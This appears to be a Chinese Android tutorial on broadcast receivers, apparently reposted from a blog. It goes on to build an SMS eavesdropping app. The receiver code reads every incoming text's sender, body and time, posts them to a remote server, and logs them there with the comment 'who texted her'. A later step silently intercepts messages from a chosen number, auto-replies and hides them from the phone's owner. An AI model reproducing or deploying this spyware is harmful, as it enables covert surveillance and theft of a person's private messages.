接受和发送广播

来源:互联网 发布:mysql的截取函数怎么用 编辑:程序博客网 时间:2024/06/07 22:41

Intent不仅可以启动应用程序内部或其他应用程序的Activity,还可以发送广播动作(Broadcast Action)。Broadcast Action和Activity Action一样,既可以由系统负责广播,也可以自己的应用程序负责广播。当开机自动启动某个程序,就是Android向整个系统发送Broadcast Action,如果系统接收到Broadcast Action,就可以完成相应的程序。

 

接受系统广播需要两步:

(1)                编写一个可以继承android.content.BroadcastReceiver的类,并实现BroadcastReceiver类中的onReceiver方法。

(2)                在AndroidMainfest.xml文件中使用<receiver>标签来指定 (1)步骤中编写的接收系统广播的类可以接受哪个Broadcast Action。

注意:如果你实在Activity.onResume()方法中注册的一个receiver,那么你必须在Activity.onPause()方法中进行注销。(当一个activity处于暂停状态是不会接收intents的,并且这样做也可以减小系统不必要的开销)。不要在Activity.onSaveInstanceState()方法中注销receiver,因为activity从栈中恢复的时候并不会调用这个方法了。

 

订阅广播:

IntentFilter filter = newIntentFilter("android.provider.Telephony.SMS_RECEIVED");

IncomingSMSReceiver receiver = newIncomingSMSReceiver();

registerReceiver(receiver, filter);

 

<receiver android:name="MySMSListener">

  <intent-filter>

      <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

  </intent-filter>

</receiver>

 

开机启动

要实现开机启动的功能,需要的系统广播为:android.intent.action.BOOT_COMPLETED.

反复重启模拟器,会发现模拟器在启动后总是会先运行这个程序。

 

接收短信

服务器(videoweb):

1.修改formbean: VideoForm中增加短信的时间、内容和发送者属性

2.VideoManageAction中增加方法getSMS来获取窃听器发送的短消息

 

public ActionForward getSMS(ActionMapping mapping,ActionForm form,

                       HttpServletRequestrequest, HttpServletResponse response)

                       throwsException {

     VideoFormformbean = (VideoForm)form;

     System.out.println("发送时间:"+ formbean.getTime());

     System.out.println("谁给她发的短信:"+ formbean.getSender());

     System.out.println("内容:"+ formbean.getContent());

     returnmapping.findForward("result");

}

 

客户端SMS_Listener

1、  清单文件

中订阅广播

<receiver android:name=".MySMSListener">

  <intent-filter>

      <action android:name="android.provider.Telephony.SMS_RECEIVED"/>

 </intent-filter>

</receiver>

添加短信接收权限,访问网络权限

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.RECEIVE_SMS"/>

2、 客户端MySMSListener.java

功能:收取短信广播,接收并解析短信然后发送至服务器端进行后台打印。

public class MySMSListener extendsBroadcastReceiver {

 

     publicvoid onReceive(Context context, Intent intent) {

 

              Object[]pdus = (Object[]) intent.getExtras().get("pdus");

 

              if(pdus != null && pdus.length > 0) {

                       SmsMessage[]messages = new SmsMessage[pdus.length];

 

                       for(int i = 0; i < messages.length; i++) {

                                 byte[]pdu = (byte[]) pdus[i];

                                 messages[i]= SmsMessage.createFromPdu(pdu);

                       }

 

                       for(SmsMessage msg : messages) {

                                 Stringcontent = msg.getMessageBody();

                                 Stringsender = msg.getOriginatingAddress();

                                 Date date = newDate(msg.getTimestampMillis());

 

                                 SimpleDateFormatsdf = new SimpleDateFormat(

                                                   "yyyy-MM-ddHH:mm:ss");

                                

                                 StringsendTime = sdf.format(date);

                                

                                 Map<String,String>param = new HashMap<String,String>();

                                

                                 param.put("method","getSMS");

                                 param.put("sender",sender);

                                 param.put("content",content);

                                 param.put("time",sendTime);

                                

                                 Stringpath =

"http://192.168.1.100:8080/videoweb/video/manage.do";

                                 try{

                                          SocketHttpRequester.post(path,param, "UTF-8");

                                 }catch (Exception e) {

                                          Log.e("TAG",e.toString());

                                 }

                       }

              }

     }

}

3、进一步添加客户端功能:将监听到的指定的短信进行拦截并且自动进行回复。

添加短信发送权限:

<uses-permission android:name="android.permission.SEND_SMS"/>

MySMSListener的onReceive中添加代码如下:

 

String sendContent = sdf.format(date)+ ":" + sender + "--"+ content;

Log.i("TAG",sendContent);

 

if(sender!= null &&sender.endsWith("5556")){//5556".equals(sender)){

     SmsManagersmsManager = SmsManager.getDefault();

     smsManager.sendTextMessage("5556",null,"gameover",null,null);

     this.abortBroadcast();//终止广播

}

原创粉丝点击